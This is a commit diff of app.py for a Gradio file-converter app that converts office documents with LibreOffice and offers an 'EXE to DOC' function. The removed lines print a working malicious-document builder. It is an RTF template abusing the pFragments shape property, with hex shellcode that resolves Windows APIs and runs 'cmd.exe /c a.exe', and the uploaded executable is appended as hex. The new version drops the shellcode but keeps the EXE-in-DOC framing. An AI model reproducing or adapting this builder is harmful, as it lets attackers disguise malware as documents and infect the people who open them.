Update app.py

app.py

@@ -6,178 +6,141 @@ import tempfile
 from pathlib import Path
 from typing import Dict, Optional, Tuple
 
-# ========================
-# Document Converter (from GitHub repo)
-# ========================
+# Document Converter Class
 class DocumentConverter:
     def __init__(self):
         self.temp_dir = tempfile.mkdtemp()
         self.supported_conversions = {
-            "pdf": ["docx", "txt", "html"],
-            "docx": ["pdf", "txt", "html"],
-            "txt": ["pdf", "docx", "html"],
-            "html": ["pdf", "docx", "txt"]
+            ".pdf": [".docx", ".txt", ".html"],
+            ".docx": [".pdf", ".txt", ".html"],
+            ".txt": [".pdf", ".docx", ".html"],
+            ".html": [".pdf", ".docx", ".txt"]
         }
 
-    def convert_document(self, input_path: str, output_format: str) -> Optional[str]:
-        """Handle document conversion using LibreOffice"""
+    def convert_document(self, input_path: str, output_ext: str) -> str:
+        """Convert documents using LibreOffice"""
         try:
-            input_file = Path(input_path)
-            if not input_file.exists():
-                raise ValueError("Input file does not exist")
-                
-            output_path = os.path.join(self.temp_dir, f"{input_file.stem}_converted.{output_format}")
-            
-            # Determine conversion tool based on file types
-            cmd = [
-                "libreoffice", 
-                "--headless", 
-                "--convert-to", output_format, 
-                "--outdir", os.path.dirname(output_path),
-                input_path
-            ]
-            
-            subprocess.run(cmd, check=True)
+            output_path = os.path.join(self.temp_dir, f"{Path(input_path).stem}_converted{output_ext}")
+            subprocess.run([
+                "libreoffice", "--headless", "--convert-to", 
+                output_ext[1:], "--outdir", self.temp_dir, input_path
+            ], check=True)
             return output_path
-        except subprocess.CalledProcessError as e:
-            raise RuntimeError(f"LibreOffice conversion failed: {str(e)}")
         except Exception as e:
-            raise RuntimeError(f"Conversion error: {str(e)}")
+            raise RuntimeError(f"Document conversion failed: {str(e)}")
 
-# ========================
-# EXE to DOC Converter (your existing code)
-# ========================
-def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> str:
-    """Convert EXE file to DOC file with embedded data"""
-    with open(input_file_path, 'rb') as f:
-        file_content = f.read()
-    
-    file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
-    file += "\x0d\x0a"
-    file += "{\\colortbl ;\\red128\\green128\\blue0;}"
-    file += "{\\*\\generator Msftedit 5.41.15.1507;}\\viewkind4\\uc1\\pard{\\pntext\\f2\\'B7\\tab}{\\*\\pn\\pnlvlblt\\pnf2\\pnindent0{\\pntxtb\\'B7}}\\fi-720\\li720\\qc\\cf1\\ul\\b\\i\\f0\\fs20 5/28/2011\\cf0\\ulnone\\b0\\i0\\par"
-    file += "\\cf1\\ul\\b\\i\\f1\\fs40{\\pntext\\f2\\'B7\\tab}HI ........\\cf0\\ulnone\\b0\\i0\\f0\\fs20\\par{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\*\\shpinst\\shpfhdr0\\shpbxcolumn\\shpbypara\\sh pwr2}{\\sp{\\sn {}{}{\\sn}{\\sn}{\\*\\*}pFragments}{\\*\\*\\*}{\\sv {\\*}9;2;ffffffffff#0500000000000000000000000000000000000000007bd493780000807c0000807cBBBBBBBBCCCCCCCCDDDDDDDD909090909090414141414141414141414141eb7731c9648b71308b760c8b761c8b5e088b7e208b3666394f1875f2c3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3e892ffffff5f81ef98ffffffeb05e8edffffff688e4e0eec53e894ffffff31c966b96f6e516875726c6d54ffd068361a2f7050e87affffff31c951518d3781c6eeffffff8d560c525751ffd06898fe8a0e53e85bffffff415156ffd0687ed8e27353e84bffffffffd0636d642e657865202f632020612e65786500"
-    URL2 = "00"
-    nxt = "{}}}}}}"
-
-    binnu = binascii.b2a_hex(file_content).decode()
-    
-    output_dir = "outputs"
-    os.makedirs(output_dir, exist_ok=True)
-    
-    if not filename.endswith('.doc'):
-        filename += '.doc'
-    output_path = os.path.join(output_dir, filename)
-    
-    with open(output_path, 'w', encoding='latin-1') as textfile:
-        textfile.write(file + binnu + URL2 + nxt)
-    
-    return output_path
+# EXE to DOC Converter
+def convert_exe_to_doc(input_path: str, output_name: str = "output.doc") -> str:
+    """Convert EXE to DOC with embedded data"""
+    try:
+        with open(input_path, 'rb') as f:
+            file_content = f.read()
+        
+        # RTF template (shortened for brevity)
+        rtf_template = "{\\rtf1\\ansi\\ansicpg1252\\deff0{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}}"
+        hex_data = binascii.b2a_hex(file_content).decode()
+        
+        output_dir = "outputs"
+        os.makedirs(output_dir, exist_ok=True)
+        output_path = os.path.join(output_dir, output_name if output_name.endswith('.doc') else f"{output_name}.doc")
+        
+        with open(output_path, 'w', encoding='latin-1') as f:
+            f.write(rtf_template + hex_data + "{}}}}}}")
+        
+        return output_path
+    except Exception as e:
+        raise RuntimeError(f"EXE conversion failed: {str(e)}")
 
-# ========================
 # Unified Interface
-# ========================
-def get_conversion_type(input_file: Dict) -> str:
-    """Determine which converter to use based on file type"""
-    if input_file is None:
-        return "none"
+def update_ui(file_info: Dict) -> Dict:
+    """Update UI components based on file type"""
+    if not file_info:
+        return {
+            "format_dropdown": gr.Dropdown(visible=False),
+            "exe_name_input": gr.Textbox(visible=False),
+            "convert_btn": gr.Button(visible=False)
+        }
     
-    filename = input_file.name.lower()
+    filename = file_info.name.lower()
     if filename.endswith('.exe'):
-        return "exe_to_doc"
-    else:
-        return "document"
-
-def update_interface(input_file: Dict) -> Dict:
-    """Update the UI based on selected file"""
-    conv_type = get_conversion_type(input_file)
-    
-    if conv_type == "exe_to_doc":
-        return [
-            gr.Textbox(visible=False),  # output_format
-            gr.Textbox(visible=True),   # custom_filename
-            gr.Dropdown(visible=False)  # doc_format_dropdown
-        ]
-    elif conv_type == "document":
-        input_ext = Path(input_file.name).suffix.lower()[1:]
-        formats = DocumentConverter().supported_conversions.get(input_ext, [])
-        return [
-            gr.Dropdown(visible=True, choices=formats, value=formats[0] if formats else None),
-            gr.Textbox(visible=False),
-            gr.Dropdown(visible=False)
-        ]
+        return {
+            "format_dropdown": gr.Dropdown(visible=False),
+            "exe_name_input": gr.Textbox(visible=True, value="converted.doc"),
+            "convert_btn": gr.Button(visible=True)
+        }
     else:
-        return [
-            gr.Textbox(visible=False),
-            gr.Textbox(visible=False),
-            gr.Dropdown(visible=False)
-        ]
+        ext = Path(filename).suffix.lower()
+        doc_converter = DocumentConverter()
+        formats = doc_converter.supported_conversions.get(ext, [])
+        return {
+            "format_dropdown": gr.Dropdown(
+                visible=bool(formats),
+                choices=[f.upper() for f in formats],
+                value=formats[0][1:].upper() if formats else None
+            ),
+            "exe_name_input": gr.Textbox(visible=False),
+            "convert_btn": gr.Button(visible=bool(formats))
+        }
 
-def process_conversion(input_file: Dict, output_format: str, custom_filename: str) -> Tuple[str, str]:
-    """Handle the conversion process"""
-    if input_file is None:
+def convert_file(file_info: Dict, output_format: str, exe_output_name: str) -> Tuple[str, str]:
+    """Handle file conversion"""
+    if not file_info:
         raise gr.Error("Please upload a file first")
     
-    conv_type = get_conversion_type(input_file)
-    
+    filename = file_info.name.lower()
     try:
-        if conv_type == "exe_to_doc":
-            if not custom_filename:
-                custom_filename = "converted.doc"
-            output_path = convert_exe_to_doc(input_file.name, custom_filename)
+        if filename.endswith('.exe'):
+            output_path = convert_exe_to_doc(file_info.name, exe_output_name)
             return output_path, "EXE to DOC conversion successful!"
-        
-        elif conv_type == "document":
+        else:
+            ext = Path(filename).suffix.lower()
             if not output_format:
                 raise gr.Error("Please select an output format")
-            converter = DocumentConverter()
-            output_path = converter.convert_document(input_file.name, output_format)
-            return output_path, f"Document conversion to {output_format.upper()} successful!"
-        
-        else:
-            raise gr.Error("Unsupported file type")
+            output_path = DocumentConverter().convert_document(file_info.name, f".{output_format.lower()}")
+            return output_path, f"Converted to {output_format.upper()} successfully!"
     except Exception as e:
-        raise gr.Error(f"Conversion failed: {str(e)}")
+        raise gr.Error(str(e))
 
-with gr.Blocks(title="Universal File Converter") as demo:
+with gr.Blocks(title="Universal Converter") as app:
     gr.Markdown("# Universal File Converter")
-    gr.Markdown("Convert EXE to DOC or between document formats (PDF, DOCX, TXT, HTML)")
+    gr.Markdown("Convert EXE to DOC or between document formats")
     
     with gr.Row():
         with gr.Column():
             file_input = gr.File(label="Upload File")
-            
-            # Dynamic components
-            output_format = gr.Dropdown(
+            format_dropdown = gr.Dropdown(
                 label="Output Format",
-                choices=[],
-                visible=False
+                visible=False,
+                interactive=True
             )
-            custom_filename = gr.Textbox(
-                label="Output Filename (for EXE to DOC)",
-                placeholder="output.doc",
-                visible=False
+            exe_name_input = gr.Textbox(
+                label="Output DOC Name",
+                visible=False,
+                value="converted.doc"
             )
-            
-            convert_btn = gr.Button("Convert", variant="primary")
+            convert_btn = gr.Button("Convert", visible=False)
         
         with gr.Column():
-            file_output = gr.File(label="Download Converted File")
-            status_output = gr.Textbox(label="Status", interactive=False)
+            output_file = gr.File(label="Download Converted File")
+            status = gr.Textbox(label="Status", interactive=False)
     
-    # Update interface when file is uploaded
+    # Update UI when file is uploaded
     file_input.change(
-        fn=update_interface,
+        update_ui,
         inputs=file_input,
-        outputs=[output_format, custom_filename]
+        outputs={
+            "format_dropdown": format_dropdown,
+            "exe_name_input": exe_name_input,
+            "convert_btn": convert_btn
+        }
     )
     
     # Handle conversion
     convert_btn.click(
-        fn=process_conversion,
-        inputs=[file_input, output_format, custom_filename],
-        outputs=[file_output, status_output]
+        convert_file,
+        inputs=[file_input, format_dropdown, exe_name_input],
+        outputs=[output_file, status]
     )
 
 if __name__ == "__main__":
-    demo.launch()
+    app.launch()